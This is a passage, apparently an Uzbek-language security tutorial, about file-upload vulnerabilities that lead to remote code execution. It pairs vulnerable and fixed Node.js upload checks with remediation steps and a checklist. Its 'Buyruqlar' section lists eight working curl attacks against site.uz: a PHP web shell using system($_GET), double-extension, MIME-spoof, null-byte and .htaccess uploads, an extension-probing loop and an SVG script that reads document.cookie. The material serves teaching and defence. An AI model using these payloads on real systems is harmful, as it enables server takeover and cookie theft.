📤
Fayl yuklash zaifliklari
Zararli fayl yuklab RCE
1
Maqsad
zararli fayl yuklab, kod bajarishFayl yuklash tekshiruvi noto'g'ri bo'lsa — hujumchi serverga bajariladigan fayl joylaydi va undan kod ishga tushiradi.
| Uslub | Fayl turi | Natija |
|---|---|---|
| Web shell | .php | To'liq RCE |
| Double extension | shell.php.jpg | Nginx config noto'g'ri |
| MIME spoof | shell.pdf (PHP ichida) | Content-Type tekshiruvi yolg'oni |
| SVG | logo.svg | Scripting (ba'zi joyda) |
| .htaccess | .htaccess | Konfiguratsiyani o'zgartirish |
2
Tushuntirish
// XAVFLI — faqat kengaytma tekshiruvi if (file.originalname.endsWith('.jpg')) save(file); // hujum: shell.php.jpg → .jpg o'tadi, server .php ni ham // ".jpg" ni PHP deb taniydi (cgi.fix_pathinfo) // XAVFLI — MIME faqat mijoz aytadi if (file.mimetype === 'image/jpeg') save(file); // hujum: shell.php ichida JPEG header, MIME "image/jpeg" // TO'G'RI const OK = { 'image/jpeg': ['.jpg'], 'image/png': ['.png'], 'application/pdf': ['.pdf'] }[f.mimetype]; if (!OK || !OK.includes(ext)) return fail(); save(uniqueName + ext); // fayl nomini o'zimiz qo'yamiz
3
Qanday aniqlanadi
# 1) yuklash endpointlari grep -rniE "multer|formidable|upload|multipart|LIBXML|writeFile.*temp" src/ | head # 2) kengaytma/MIME tekshiruvi qayerda grep -rnE "originalname|mimetype|extname|path\.extname|fileFilter" src/ | head # 3) fayllar qayerda saqlanadi va qanday beriladi grep -rniE "static|express\.static|UPLOAD|public/|uploads" src/ | head
4
Buyruqlar
8 xil usul# 1) oddiy PHP fayl printf '<?php system($_GET["c"]); ?>' > /tmp/shell.php curl -s -F "file=@/tmp/shell.php" https://site.uz/api/upload curl -s "https://site.uz/uploads/shell.php?c=id" # 2) double extension cp /tmp/shell.php /tmp/shell.php.jpg curl -s -F "file=@/tmp/shell.php.jpg" https://site.uz/api/upload curl -s "https://site.uz/uploads/shell.php.jpg?c=id" # 3) MIME spoof (JPEG header + PHP) printf '\xff\xd8\xff\xe0<?php system($_GET["c"]); ?>' > /tmp/shell.jpg curl -s -F "file=@/tmp/shell.jpg;type=image/jpeg" https://site.uz/api/upload # 4) null byte (eski dasturlar) printf '<?php system($_GET["c"]); ?>' > "/tmp/shell.php%00.jpg" curl -s -F "file=@/tmp/shell.php%00.jpg" https://site.uz/api/upload # 5) .htaccess orqali (Apache) printf 'AddType application/x-httpd-php .jpg\n' > /tmp/.htaccess curl -s -F "file=@/tmp/.htaccess" -F "file=@/tmp/shell.jpg" https://site.uz/api/upload # 6) phtml / pht / php5 / pht5 (boshqa kengaytmalar) for E in phtml pht php3 php4 php5 php7 phar phps shtml; do cp /tmp/shell.php "/tmp/shell.$E" C=$(curl -s -o /dev/null -w '%{http_code}' -F "file=@/tmp/shell.$E" https://site.uz/api/upload) echo " .$E → HTTP $C" done # 7) SVG orqali (ko'rganda bajariladi) cat > /tmp/x.svg <<'EOF' <svg xmlns="http://www.w3.org/2000/svg"><script>alert(document.cookie)</script></svg> EOF curl -s -F "file=@/tmp/x.svg;type=image/svg+xml" https://site.uz/api/upload # 8) fayl saqlangan joyni aniqlash curl -s -F "file=@/tmp/shell.php" https://site.uz/api/upload | jq . curl -s -o /dev/null -w "%{http_code}\n" https://site.uz/uploads/ # papkalar ro'yxati
5
Natija
✓ MUvaffaqiyat — hujum ISHLADI
| Server javobi | Nima degani |
|---|---|
`uid=33(www-data)` javobida | **Web shell — RCE tasdiqlandi** |
`.php` fayl saqlandi va bajarildi | **Kritik zaiflik** |
`.phtml` / `.php5` ham bajarildi | **Kengaytma ro'yxati to'liq emas** |
`.htaccess` yuklandi | **Konfiguratsiya o'zgartirildi** |
SVG ichidagi script ishga tushdi | **SVG XSS** |
✗ Rad etish — hujum ISHLAMADI
| Server javobi | Nima degani |
|---|---|
`400 / file type not allowed` | **Tekshiruv ishlayapti** |
Fayl saqlandi lekin `<code>` emas | Saqlandi — bajarilmaydi (non-exec zone) |
`.php` yuklash rad etildi | **Zaxavfsiz** |
Fayl `random.bin` nomi bilan saqlandi | Nomi server belgiladi — **yaxshi** |
6
Zararni yopish
1. Faylni qayta nomlash (eng muhimi)
const ext = path.extname(file.originalname).toLowerCase(); // ".php" const name = crypto.randomUUID() + '.bin'; // ← o'zimiz fs.writeFileSync(path.join(UPLOAD, name), file.buffer);
2. Ruxsat etilgan turlar — oq ro'yxat
const OK_EXT = new Set(['.jpg', '.jpeg', '.png', '.webp', '.pdf']);
if (!OK_EXT.has(ext)) return res.status(400).end();
// qo'shimcha: har bir kengaytma uchun ruxsat berilgan MIME
const OK_MIME = { '.jpg': 'image/jpeg', '.png': 'image/png', '.pdf': 'application/pdf' };
if (OK_MIME[ext] !== file.mimetype) return fail();
3. Mazmunni tekshirish (magic bytes)
const b = file.buffer;
if (ext === '.jpg' && !(b[0] === 0xFF && b[1] === 0xD8)) return fail();
if (ext === '.png' && b.slice(1,4).toString() !== 'PNG') return fail();
// PHP matni boshida kelmasa — rasm deb qabul qilinadi
4. Bajarilmaydigan zonaga saqlash
UPLOAD=/var/www/usr_w8ujaj/data/www/xs313.xuss.us/uploads # nginx location /uploads/ { add_header Content-Disposition "attachment"; # yuklanadi, bajarilmaydi location ~ \.php$ {{ return 403; }} } # php-fpm haqiqiy yo'ldan boshqariladi — /uploads dan o'tmaydi
5. Umumiy
- Barcha turlarni qaytarish (downstream) orqali tekshirish — `<%` belgisi
- Birinchi 4 baytni (magic) serverda tekshirish
- Antivirus / ClamAV integratsiyasi
- Yuklangan faylga
no-storeheader
7
Tekshirish ro'yxati
- Fayl nomi server tomonidan belgilanadi
- Oq ro'yxat: faqat `.jpg .png .webp .pdf`
- Magic bytes serverda tekshiriladi
- Uploads papkasi bajarilmaydigan (no PHP)
- `.htaccess` / `.svg` rad etilgan
- Yuklangan fayl `Content-Disposition: attachment` bilan
- `.php`, `.php5`, `.phtml`, `.svg` bilan test qilindi